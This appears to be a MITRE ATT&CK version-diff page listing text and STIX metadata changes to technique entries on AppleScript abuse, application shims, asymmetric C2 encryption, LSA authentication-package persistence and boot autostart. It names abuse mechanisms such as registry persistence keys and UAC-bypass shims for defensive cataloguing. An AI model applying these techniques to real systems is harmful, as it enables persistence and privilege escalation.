| > | is a macOS scripting language designed to control applicati | > | is a macOS scripting language designed to control applicati | ||
| > | ons and parts of the OS via inter-application messages calle | > | ons and parts of the OS via inter-application messages calle | ||
| > | d AppleEvents.(Citation: Apple AppleScript) These AppleEvent | > | d AppleEvents.(Citation: Apple AppleScript) These AppleEvent | ||
| > | messages can be sent independently or easily scripted with | > | messages can be sent independently or easily scripted with | ||
| > | AppleScript. These events can locate open windows, send keys | > | AppleScript. These events can locate open windows, send keys | ||
| > | trokes, and interact with almost any open application locall | > | trokes, and interact with almost any open application locall | ||
| > | y or remotely. Scripts can be run from the command-line via | > | y or remotely. Scripts can be run from the command-line via | ||
| > | <code>osascript /path/to/script</code> or <code>osascript - | > | <code>osascript /path/to/script</code> or <code>osascript - | ||
| > | e "script here"</code>. Aside from the command line, scripts | > | e "script here"</code>. Aside from the command line, scripts | ||
| > | can be executed in numerous ways including Mail rules, Cale | > | can be executed in numerous ways including Mail rules, Cale | ||
| > | ndar.app alarms, and Automator workflows. AppleScripts can a | > | ndar.app alarms, and Automator workflows. AppleScripts can a | ||
| > | lso be executed as plain text shell scripts by adding <code> | > | lso be executed as plain text shell scripts by adding <code> | ||
| > | #!/usr/bin/osascript</code> to the start of the script file. | > | #!/usr/bin/osascript</code> to the start of the script file. | ||
| > | (Citation: SentinelOne AppleScript) AppleScripts do not nee | > | (Citation: SentinelOne AppleScript) AppleScripts do not nee | ||
| > | d to call <code>osascript</code> to execute, however. They m | > | d to call <code>osascript</code> to execute, however. They m | ||
| > | ay be executed from within mach-O binaries by using the macO | > | ay be executed from within mach-O binaries by using the macO | ||
| > | S [Native API](https://attack.mitre.org/techniques/T1106)s < | > | S [Native API](https://attack.mitre.org/techniques/T1106)s < | ||
| > | code>NSAppleScript</code> or <code>OSAScript</code>, both of | > | code>NSAppleScript</code> or <code>OSAScript</code>, both of | ||
| > | which execute code independent of the <code>/usr/bin/osascr | > | which execute code independent of the <code>/usr/bin/osascr | ||
| > | ipt</code> command line utility. Adversaries may abuse Appl | > | ipt</code> command line utility. Adversaries may abuse Appl | ||
| > | eScript to execute various behaviors, such as interacting wi | > | eScript to execute various behaviors, such as interacting wi | ||
| > | th an open SSH connection, moving to remote machines, and ev | > | th an open SSH connection, moving to remote machines, and ev | ||
| > | en presenting users with fake dialog boxes. These events can | > | en presenting users with fake dialog boxes. These events can | ||
| > | not start applications remotely (they can start them locally | > | not start applications remotely (they can start them locally | ||
| > | ), but they can interact with applications if they're alread | > | ), but they can interact with applications if they're alread | ||
| > | y running remotely. On macOS 10.10 Yosemite and higher, Appl | > | y running remotely. On macOS 10.10 Yosemite and higher, Appl | ||
| > | eScript has the ability to execute [Native API](https://atta | > | eScript has the ability to execute [Native API](https://atta | ||
| > | ck.mitre.org/techniques/T1106)s, which otherwise would requi | > | ck.mitre.org/techniques/T1106)s, which otherwise would requi | ||
| > | re compilation and execution in a mach-O binary file format. | > | re compilation and execution in a mach-O binary file format. | ||
| > | (Citation: SentinelOne macOS Red Team). Since this is a scri | > | (Citation: SentinelOne macOS Red Team) Since this is a scrip | ||
| > | pting language, it can be used to launch more common techniq | > | ting language, it can be used to launch more common techniqu | ||
| > | ues as well such as a reverse shell via [Python](https://att | > | es as well such as a reverse shell via [Python](https://atta | ||
| > | ack.mitre.org/techniques/T1059/006).(Citation: Macro Malware | > | ck.mitre.org/techniques/T1059/006).(Citation: Macro Malware | ||
| > | Targets Macs) | > | Targets Macs) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-03 21:40:51.878000+00:00 | 2022-04-19 20:26:48.143000+00:00 |
| description | Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.
Scripts can be run from the command-line via osascript /path/to/script or osascript -e "script here". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)
AppleScripts do not need to call osascript to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.
Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team). Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs) | Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.
Scripts can be run from the command-line via osascript /path/to/script or osascript -e "script here". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)
AppleScripts do not need to call osascript to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.
Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs) |
| external_references[2]['source_name'] | SentinelOne AppleScript | SentinelOne macOS Red Team |
| external_references[2]['description'] | Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020. | Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020. |
| external_references[2]['url'] | https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/ | https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/ |
| external_references[3]['source_name'] | SentinelOne macOS Red Team | SentinelOne AppleScript |
| external_references[3]['description'] | Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020. | Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020. |
| external_references[3]['url'] | https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/ | https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/ |
| x_mitre_data_sources[0] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by application | > | ges by executing malicious content triggered by application | ||
| > | shims. The Microsoft Windows Application Compatibility Infra | > | shims. The Microsoft Windows Application Compatibility Infra | ||
| > | structure/Framework (Application Shim) was created to allow | > | structure/Framework (Application Shim) was created to allow | ||
| > | for backward compatibility of software as the operating syst | > | for backward compatibility of software as the operating syst | ||
| > | em codebase changes over time. For example, the application | > | em codebase changes over time. For example, the application | ||
| > | shimming feature allows developers to apply fixes to applica | > | shimming feature allows developers to apply fixes to applica | ||
| > | tions (without rewriting code) that were created for Windows | > | tions (without rewriting code) that were created for Windows | ||
| > | XP so that it will work with Windows 10. (Citation: Endgame | > | XP so that it will work with Windows 10. (Citation: Elastic | ||
| > | Process Injection July 2017) Within the framework, shims a | > | Process Injection July 2017) Within the framework, shims a | ||
| > | re created to act as a buffer between the program (or more s | > | re created to act as a buffer between the program (or more s | ||
| > | pecifically, the Import Address Table) and the Windows OS. W | > | pecifically, the Import Address Table) and the Windows OS. W | ||
| > | hen a program is executed, the shim cache is referenced to d | > | hen a program is executed, the shim cache is referenced to d | ||
| > | etermine if the program requires the use of the shim databas | > | etermine if the program requires the use of the shim databas | ||
| > | e (.sdb). If so, the shim database uses hooking to redirect | > | e (.sdb). If so, the shim database uses hooking to redirect | ||
| > | the code as necessary in order to communicate with the OS. | > | the code as necessary in order to communicate with the OS. | ||
| > | A list of all shims currently installed by the default Wind | > | A list of all shims currently installed by the default Wind | ||
| > | ows installer (sdbinst.exe) is kept in: * <code>%WINDIR%\Ap | > | ows installer (sdbinst.exe) is kept in: * <code>%WINDIR%\Ap | ||
| > | pPatch\sysmain.sdb</code> and * <code>hklm\software\microsof | > | pPatch\sysmain.sdb</code> and * <code>hklm\software\microsof | ||
| > | t\windows nt\currentversion\appcompatflags\installedsdb</cod | > | t\windows nt\currentversion\appcompatflags\installedsdb</cod | ||
| > | e> Custom databases are stored in: * <code>%WINDIR%\AppPat | > | e> Custom databases are stored in: * <code>%WINDIR%\AppPat | ||
| > | ch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code> and * | > | ch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code> and * | ||
| > | <code>hklm\software\microsoft\windows nt\currentversion\app | > | <code>hklm\software\microsoft\windows nt\currentversion\app | ||
| > | compatflags\custom</code> To keep shims secure, Windows des | > | compatflags\custom</code> To keep shims secure, Windows des | ||
| > | igned them to run in user mode so they cannot modify the ker | > | igned them to run in user mode so they cannot modify the ker | ||
| > | nel and you must have administrator privileges to install a | > | nel and you must have administrator privileges to install a | ||
| > | shim. However, certain shims can be used to [Bypass User Acc | > | shim. However, certain shims can be used to [Bypass User Acc | ||
| > | ount Control](https://attack.mitre.org/techniques/T1548/002) | > | ount Control](https://attack.mitre.org/techniques/T1548/002) | ||
| > | (UAC and RedirectEXE), inject DLLs into processes (InjectDL | > | (UAC and RedirectEXE), inject DLLs into processes (InjectDL | ||
| > | L), disable Data Execution Prevention (DisableNX) and Struct | > | L), disable Data Execution Prevention (DisableNX) and Struct | ||
| > | ure Exception Handling (DisableSEH), and intercept memory ad | > | ure Exception Handling (DisableSEH), and intercept memory ad | ||
| > | dresses (GetProcAddress). Utilizing these shims may allow a | > | dresses (GetProcAddress). Utilizing these shims may allow a | ||
| > | n adversary to perform several malicious acts such as elevat | > | n adversary to perform several malicious acts such as elevat | ||
| > | e privileges, install backdoors, disable defenses like Windo | > | e privileges, install backdoors, disable defenses like Windo | ||
| > | ws Defender, etc. (Citation: FireEye Application Shimming) S | > | ws Defender, etc. (Citation: FireEye Application Shimming) S | ||
| > | hims can also be abused to establish persistence by continuo | > | hims can also be abused to establish persistence by continuo | ||
| > | usly being invoked by affected programs. | > | usly being invoked by affected programs. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-04 19:05:30.140000+00:00 | 2020-11-10 18:29:31.094000+00:00 |
| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017)
Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.
A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:
* %WINDIR%\AppPatch\sysmain.sdb and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb
Custom databases are stored in:
* %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom
To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).
Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs. | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)
Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.
A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:
* %WINDIR%\AppPatch\sysmain.sdb and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb
Custom databases are stored in:
* %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom
To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).
Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs. |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Windows Registry | File: File Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Module: Module Load | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 16:36:55.831000+00:00 | 2022-01-04 18:44:10.398000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Script: Script Execution |
| x_mitre_data_sources[2] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[3] | Binary file metadata | File: File Creation |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ a known asymmetric encryption algorit | t | 1 | Adversaries may employ a known asymmetric encryption algorit |
| > | hm to conceal command and control traffic rather than relyin | > | hm to conceal command and control traffic rather than relyin | ||
| > | g on any inherent protections provided by a communication pr | > | g on any inherent protections provided by a communication pr | ||
| > | otocol. Asymmetric cryptography, also known as public key cr | > | otocol. Asymmetric cryptography, also known as public key cr | ||
| > | yptography, uses a keypair per party: one public that can be | > | yptography, uses a keypair per party: one public that can be | ||
| > | freely distributed, and one private. Due to how the keys ar | > | freely distributed, and one private. Due to how the keys ar | ||
| > | e generated, the sender encrypts data with the receiver’s pu | > | e generated, the sender encrypts data with the receiver’s pu | ||
| > | blic key and the receiver decrypts the data with their priva | > | blic key and the receiver decrypts the data with their priva | ||
| > | te key. This ensures that only the intended recipient can re | > | te key. This ensures that only the intended recipient can re | ||
| > | ad the encrypted data. Common public key encryption algorith | > | ad the encrypted data. Common public key encryption algorith | ||
| > | ms include RSA and ElGamal. For efficiency, may protocols ( | > | ms include RSA and ElGamal. For efficiency, many protocols | ||
| > | including SSL/TLS) use symmetric cryptography once a connect | > | (including SSL/TLS) use symmetric cryptography once a connec | ||
| > | ion is established, but use asymmetric cryptography to estab | > | tion is established, but use asymmetric cryptography to esta | ||
| > | lish or transmit a key. As such, these protocols are classif | > | blish or transmit a key. As such, these protocols are classi | ||
| > | ied as [Asymmetric Cryptography](https://attack.mitre.org/te | > | fied as [Asymmetric Cryptography](https://attack.mitre.org/t | ||
| > | chniques/T1573/002). | > | echniques/T1573/002). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 00:37:16.593000+00:00 | 2021-04-20 19:27:46.484000+00:00 |
| description | Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. For efficiency, may protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002). | Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002). |
| x_mitre_data_sources[0] | Process monitoring | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process use of network | |
| x_mitre_data_sources | Malware reverse engineering | |
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Packet capture |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse authentication packages to execute DLL | t | 1 | Adversaries may abuse authentication packages to execute DLL |
| > | s when the system boots. Windows authentication package DLLs | > | s when the system boots. Windows authentication package DLLs | ||
| > | are loaded by the Local Security Authority (LSA) process at | > | are loaded by the Local Security Authority (LSA) process at | ||
| > | system start. They provide support for multiple logon proce | > | system start. They provide support for multiple logon proce | ||
| > | sses and multiple security protocols to the operating system | > | sses and multiple security protocols to the operating system | ||
| > | . (Citation: MSDN Authentication Packages) Adversaries can | > | .(Citation: MSDN Authentication Packages) Adversaries can u | ||
| > | use the autostart mechanism provided by LSA authentication p | > | se the autostart mechanism provided by LSA authentication pa | ||
| > | ackages for persistence by placing a reference to a binary i | > | ckages for persistence by placing a reference to a binary in | ||
| > | n the Windows Registry location <code>HKLM\SYSTEM\CurrentCon | > | the Windows Registry location <code>HKLM\SYSTEM\CurrentCont | ||
| > | trolSet\Control\Lsa\</code> with the key value of <code>"Aut | > | rolSet\Control\Lsa\</code> with the key value of <code>"Auth | ||
| > | hentication Packages"=<target binary></code>. The bina | > | entication Packages"=<target binary></code>. The binar | ||
| > | ry will then be executed by the system when the authenticati | > | y will then be executed by the system when the authenticatio | ||
| > | on packages are loaded. | > | n packages are loaded. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 15:11:25.821000+00:00 | 2022-04-20 16:29:36.291000+00:00 |
| description | Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)
Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ with the key value of "Authentication Packages"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded. | Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)
Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ with the key value of "Authentication Packages"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded. |
| external_references[1]['source_name'] | MSDN Authentication Packages | Graeber 2014 |
| external_references[1]['description'] | Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017. | Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. |
| external_references[1]['url'] | https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx | http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html |
| external_references[2]['source_name'] | Graeber 2014 | Microsoft Configure LSA |
| external_references[2]['description'] | Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. | Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015. |
| external_references[2]['url'] | http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html | https://technet.microsoft.com/en-us/library/dn408187.aspx |
| external_references[3]['source_name'] | Microsoft Configure LSA | MSDN Authentication Packages |
| external_references[3]['description'] | Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015. | Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017. |
| external_references[3]['url'] | https://technet.microsoft.com/en-us/library/dn408187.aspx | https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx |
| x_mitre_data_sources[0] | DLL monitoring | Module: Module Load |
| x_mitre_data_sources[1] | Windows Registry | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Loaded DLLs | Command: Command Execution |
Current version: 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['ExtraHop'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_network_requirements | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 02:24:54.881000+00:00 | 2022-04-19 22:50:14.956000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | Process use of network | File: File Access |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Script: Script Execution | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_data_sources | Network Traffic: Network Connection Creation |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may configure system settings to automatically e | t | 1 | Adversaries may configure system settings to automatically e |
| > | xecute a program during system boot or logon to maintain per | > | xecute a program during system boot or logon to maintain per | ||
| > | sistence or gain higher-level privileges on compromised syst | > | sistence or gain higher-level privileges on compromised syst | ||
| > | ems. Operating systems may have mechanisms for automatically | > | ems. Operating systems may have mechanisms for automatically | ||
| > | running a program on system boot or account logon.(Citation | > | running a program on system boot or account logon.(Citation | ||
| > | : Microsoft Run Key)(Citation: MSDN Authentication Packages) | > | : Microsoft Run Key)(Citation: MSDN Authentication Packages) | ||
| > | (Citation: Microsoft TimeProvider)(Citation: Cylance Reg Per | > | (Citation: Microsoft TimeProvider)(Citation: Cylance Reg Per | ||
| > | sistence Sept 2013)(Citation: Linux Kernel Programming) The | > | sistence Sept 2013)(Citation: Linux Kernel Programming) Thes | ||
| > | se mechanisms may include automatically executing programs t | > | e mechanisms may include automatically executing programs th | ||
| > | hat are placed in specially designated directories or are re | > | at are placed in specially designated directories or are ref | ||
| > | ferenced by repositories that store configuration informatio | > | erenced by repositories that store configuration information | ||
| > | n, such as the Windows Registry. An adversary may achieve th | > | , such as the Windows Registry. An adversary may achieve the | ||
| > | e same goal by modifying or extending features of the kernel | > | same goal by modifying or extending features of the kernel. | ||
| > | . Since some boot or logon autostart programs run with high | > | Since some boot or logon autostart programs run with highe | ||
| > | er privileges, an adversary may leverage these to elevate pr | > | r privileges, an adversary may leverage these to elevate pri | ||
| > | ivileges. | > | vileges. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Command: Command Execution', 'Module: Module Load', 'Driver: Driver Load', 'File: File Creation', 'Kernel: Kernel Module Load', 'Process: OS API Execution', 'File: File Modification'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018. | |
| external_references | CAPEC-564 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-564 | |
| external_references | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-09 16:05:36.772000+00:00 | 2022-04-18 22:21:27.840000+00:00 |
| description | Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel. Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. | Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel. Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. |
| external_references[1]['source_name'] | capec | Cylance Reg Persistence Sept 2013 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/564.html | https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order |
| external_references[2]['source_name'] | Microsoft Run Key | MSDN Authentication Packages |
| external_references[2]['description'] | Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014. | Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017. |
| external_references[2]['url'] | http://msdn.microsoft.com/en-us/library/aa376977 | https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx |
| external_references[3]['source_name'] | MSDN Authentication Packages | Microsoft Run Key |
| external_references[3]['description'] | Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017. | Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014. |
| external_references[3]['url'] | https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx | http://msdn.microsoft.com/en-us/library/aa376977 |
| external_references[5]['source_name'] | Cylance Reg Persistence Sept 2013 | Linux Kernel Programming |
